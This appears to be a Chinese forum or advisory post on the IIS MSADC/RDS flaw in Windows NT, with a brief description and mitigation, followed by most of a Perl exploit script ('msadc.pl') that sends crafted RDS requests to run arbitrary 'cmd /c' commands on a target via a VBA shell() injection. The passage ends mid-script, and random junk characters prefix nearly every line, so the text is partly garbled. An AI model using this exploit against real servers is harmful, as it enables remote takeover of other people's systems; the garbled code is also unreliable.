IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
W5 ^eCYHoi ,Z*&QR 涉及程序:
UngDXD ) Microsoft NT server
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* 4{4VC"fa 描述:
)(yD"]co 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ci*rem ;:2]++G 详细:
F!.Z@y P 如果你没有时间读详细内容的话,就删除:
+.^BM/z^O c:\Program Files\Common Files\System\Msadc\msadcs.dll
t4(Z@X$ 有关的安全问题就没有了。
hB/4.K ]8 a!rU+hiC 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
[y$P'Y |8^53*f ? 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
6Hoc F/Ye 关于利用ODBC远程漏洞的描述,请参看:
Gy 0 m :}(Aq;}X http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm :_9MS0 &$$KC?!w 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
U4;r.#qw, http://www.microsoft.com/security/bulletins/MS99-025faq.asp APY^A6^:j QS(aA*D 这里不再论述。
HZ%2WM -Uj)6PzGu 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
%L(;}sJ. SR)jJ=R3 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
iY@wg 8ry 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
A$d)xq-]K *} @Y"y Wk<he F #将下面这段保存为txt文件,然后: "perl -x 文件名"
Xc8r[dX Lv;% z #!perl
xE>H:YPm #
Y$JGpeq8w # MSADC/RDS 'usage' (aka exploit) script
Q8-;w{% #
N,k PR # by rain.forest.puppy
xAJ
N(8? #
J:W|2U=" # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
E%Tpby}^' # beta test and find errors!
W^dk: })#VO-J use Socket; use Getopt::Std;
TOF_m$@# getopts("e:vd:h:XR", \%args);
4mHR+SZy s'$5]9$S print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
` mvPbZ0< J>D+/[mFt if (!defined $args{h} && !defined $args{R}) {
ctg U print qq~
'NaNh0y Usage: msadc.pl -h <host> { -d <delay> -X -v }
Rhw- 49AWx -h <host> = host you want to scan (ip or domain)
%vF,wQC -d <seconds> = delay between calls, default 1 second
?XCFRt,ol -X = dump Index Server path table, if available
\e)>]C}h -v = verbose
@nWhUH% -e = external dictionary file for step 5
/Z3 Mlm{ |!t&ZpdD Or a -R will resume a command session
>qE f991SZ *Wbs{>&No ~; exit;}
[d"]AF[# oVZI([O $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
XotiKCk|Aq if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
rF@njw@ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
/;5U-<qf if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
y5@#leM $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
@FNaCmBX if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
stxei
6 >T{Gl/? p if (!defined $args{R}){ $ret = &has_msadc;
M[eq)a$ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
3{:AG,G &,DZ0xA print "Please type the NT commandline you want to run (cmd /c assumed):\n"
dw*PjIB9x . "cmd /c ";
L
i g7Ac, $in=<STDIN>; chomp $in;
zv%]j0 ? $command="cmd /c " . $in ;
O$eNG$7 ?Z^?A^; }$ if (defined $args{R}) {&load; exit;}
"FD`1 q\DN8IJ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
YL?2gBT &try_btcustmr;
hw5NHZ I' z:Y
Z]
print "\nStep 2: Trying to make our own DSN...";
EKgY &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
r!+..c g49G7sk print "\nStep 3: Trying known DSNs...";
I3I1<}>]Z &known_dsn;
Yamu"# y
-6{>P/ print "\nStep 4: Trying known .mdbs...";
k2 _i;v &known_mdb;
o:wI{?%-3 [,bra8f[C if (defined $args{e}){
9ZJn 8ki print "\nStep 5: Trying dictionary of DSN names...";
N4HIQ\p &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
%[cZ,F= kJ'rtz4QO print "Sorry Charley...maybe next time?\n";
H^3f!\MC;o exit;
AT6o~u!WU PEr &|H2 ##############################################################################
r5,V-5b Tv[h2_+E sub sendraw { # ripped and modded from whisker
a Fh9B\n sleep($delay); # it's a DoS on the server! At least on mine...
8(zE^W,[8" my ($pstr)=@_;
zi^?9n), socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!-veL1r die("Socket problems\n");
Y+d+ if(connect(S,pack "SnA4x8",2,80,$target)){
OA7YWk<K select(S); $|=1;
9}|x
N8 print $pstr; my @in=<S>;
5FJ(x:k?z select(STDOUT); close(S);
WqO4_;X6/ return @in;
jd.{J{o } else { die("Can't connect...\n"); }}
PQd*)6K:A gf ?_tB0C ##############################################################################
ROhhd. F$sDmk# sub make_header { # make the HTTP request
+^<s' my $msadc=<<EOT
_|Uv7>}J^ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
_j\GA6 User-Agent: ACTIVEDATA
MvKr~ Host: $ip
=vs]Kmm Content-Length: $clen
56?RFnZ&j Connection: Keep-Alive
%f?Z/Wn $2E&~W % ADCClientVersion:01.06
nl-y0xD9c Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
C+L_f_6] Cu t7 --!ADM!ROX!YOUR!WORLD!
5O%?J-Hp Content-Type: application/x-varg
#b
eLo J Content-Length: $reqlen
<dGph ;?G.., EOT
/:;"rnvq ; $msadc=~s/\n/\r\n/g;
$5wf{iZY.Q return $msadc;}
ew.jsa`TrW `N}aV Ns ##############################################################################
PX- PVW 8w$q4fg0 sub make_req { # make the RDS request
j4:Xel/ my ($switch, $p1, $p2)=@_;
60R]Q my $req=""; my $t1, $t2, $query, $dsn;
q4T98s2J ~H c5M5m if ($switch==1){ # this is the btcustmr.mdb query
ym8pB7E7% $query="Select * from Customers where City=" . make_shell();
tfCK^{ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
(PC)R9r5 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
2EH0d6nt Ya&\ b 6 elsif ($switch==2){ # this is general make table query
ffQm"s:P $query="create table AZZ (B int, C varchar(10))";
:+_ $dsn="$p1";}
h0&Oy52
._q}lWT elsif ($switch==3){ # this is general exploit table query
h e[2, $query="select * from AZZ where C=" . make_shell();
4;2 $dsn="$p1";}
l4>c 6)veuA3] elsif ($switch==4){ # attempt to hork file info from index server
/E-sg,
k $query="select path from scope()";
&0`i(l4]l $dsn="Provider=MSIDXS;";}
[X 9zrGHt g/4ipcG;N elsif ($switch==5){ # bad query
cN:dy# $query="select";
X7rsO^}W $dsn="$p1";}
J(:y-U 90 >V he $t1= make_unicode($query);
F!<!)_8Q $t2= make_unicode($dsn);
g3
opN>W $req = "\x02\x00\x03\x00";
xpp>5d
! $req.= "\x08\x00" . pack ("S1", length($t1));
\<HY'[gr $req.= "\x00\x00" . $t1 ;
q#O8Fv $req.= "\x08\x00" . pack ("S1", length($t2));
T0 {X, $req.= "\x00\x00" . $t2 ;
aHdQi,=z $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
h0?w V5H return $req;}
W2&(:C8V@ \30rF]F`l ##############################################################################
N /zP!%L jp7cPpk:LG sub make_shell { # this makes the shell() statement
NRT@"3,1YP return "'|shell(\"$command\")|'";}
z?@N+||,. q+BG ##############################################################################
3T/&T`T+c @1A.$: sub make_unicode { # quick little function to convert to unicode
"&/lF[q my ($in)=@_; my $out;
@A|#/]S1 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
&~c`p [ return $out;}
&3OV|ly] R;zf x/ ##############################################################################
uO)vGzt3^x #||D,[ _=+ sub rdo_success { # checks for RDO return success (this is kludge)
Jflm-Hhsf my (@in) = @_; my $base=content_start(@in);
J|w%n5Y if($in[$base]=~/multipart\/mixed/){
0DFVB%JdI return 1 if( $in[$base+10]=~/^\x09\x00/ );}
DKF`
xuJP return 0;}
[$c"}=g[+ &`,Y/Cbw ##############################################################################
h'+F'1= 8#w%qij sub make_dsn { # this makes a DSN for us
ME66BWg{ my @drives=("c","d","e","f");
";;!c. !^ print "\nMaking DSN: ";
of {K{(M7@ foreach $drive (@drives) {
pL . 0_ print "$drive: ";
\
B'AXv6 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
G+&pq "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
?G<ISiABQC . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
fB 0X9iV6j $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
6OB3%R'p return 0 if $2 eq "404"; # not found/doesn't exist
h\2iArw8 if($2 eq "200") {
F'-XAI
<3 foreach $line (@results) {
+sV~#%% return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
/I((A/ks } return 0;}
yp[,WZt .%!^L#g ##############################################################################
TT no kE :{#>[Uz sub verify_exists {
OIIA^QyV my ($page)=@_;
R9(Yi<CC my @results=sendraw("GET $page HTTP/1.0\n\n");
Dr76+9'i return $results[0];}
eL<jA9cJ9 :5F(,Z_ ##############################################################################
0gGr/78
;XQ27,K& sub try_btcustmr {
!zsrORF{ my @drives=("c","d","e","f");
{
'402 my @dirs=("winnt","winnt35","winnt351","win","windows");
CvR-lKV< %@:6& foreach $dir (@dirs) {
=\k:] print "$dir -> "; # fun status so you can see progress
[$F*R@,& foreach $drive (@drives) {
~N2=44e print "$drive: "; # ditto
t
.}];IJP $reqlen=length( make_req(1,$drive,$dir) ) - 28;
~ToU._ $reqlenlen=length( "$reqlen" );
gm%cAme $clen= 206 + $reqlenlen + $reqlen;
<k0/O p I~;3T:! my @results=sendraw(make_header() . make_req(1,$drive,$dir));
G8 q<) if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
VkO*+"cGv else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Abi(1nXdQ m\XG7uo~ ##############################################################################
N}1yDN .
:>e"D sub odbc_error {
#WJ*)$A@& my (@in)=@_; my $base;
T|0+o+i my $base = content_start(@in);
8.>himL if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]G
D`
f $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
AF8:bk,R $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
eco&!R[G $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[[pt~=0 return $in[$base+4].$in[$base+5].$in[$base+6];}
K- $,:28 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
$4}G print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
'kco.
1{ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
"$aoI Xv B,&QI&k`~ ##############################################################################
y=.bn!u}z ##}7cFX sub verbose {
A2;6Vz=z my ($in)=@_;
G')zDx return if !$verbose;
rL&Mq}7QK print STDOUT "\n$in\n";}
jEwt1S V c&x1aF "B ##############################################################################
74a@/'WbE V#5$J Xp sub save {
ky-nP8L} my ($p1, $p2, $p3, $p4)=@_;
9e c},~( open(OUT, ">rds.save") || print "Problem saving parameters...\n";
J3(E{w8Q print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
4 R(m$!E! close OUT;}
H Tv#2WX QxN1N^a0 ##############################################################################
qE|syA9 .ANR|G sub load {
QQ_7Q^ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
2P)O
0j\/ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
`uUzBV.FR @p=<IN>; close(IN);
4P"bOt5izR $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
kN78j $target= inet_aton($ip) || die("inet_aton problems");
I{r*Y9 print "Resuming to $ip ...";
l^OflZC~ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
}r! +wp if($p[1]==1) {
t=xEUOQAn $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
#9Jr?K43
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
n>R(e> my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
,lStT+A if (rdo_success(@results)){print "Success!\n";}
=<#G~8WYz else { print "failed\n"; verbose(odbc_error(@results));}}
U4^c{KWS elsif ($p[1]==3){
tXH;4K@ if(run_query("$p[3]")){
lixM0 print "Success!\n";} else { print "failed\n"; }}
pf107S elsif ($p[1]==4){
]@b9m if(run_query($drvst . "$p[3]")){
-B9e&J
{K print "Success!\n"; } else { print "failed\n"; }}
RRB=JP{r exit;}
\@WVeFr dS3\P5D.*c ##############################################################################
1+WVh7gF i>]PW|]
sub create_table {
5 7t.Ud my ($in)=@_;
1kw*Q: $reqlen=length( make_req(2,$in,"") ) - 28;
)dqNN tS $reqlenlen=length( "$reqlen" );
mJ=V<_ $clen= 206 + $reqlenlen + $reqlen;
lux
g1> my @results=sendraw(make_header() . make_req(2,$in,""));
@fJsRWvGq return 1 if rdo_success(@results);
CoNaGb my $temp= odbc_error(@results); verbose($temp);
zSQy
return 1 if $temp=~/Table 'AZZ' already exists/;
ux)*B}/xh return 0;}
M?UUT8, 'j<u0'K@ ##############################################################################
<n 06(9BF @+H0D" sub known_dsn {
IQ~qiFCf # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
9#@s(s my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Ie!&FQe2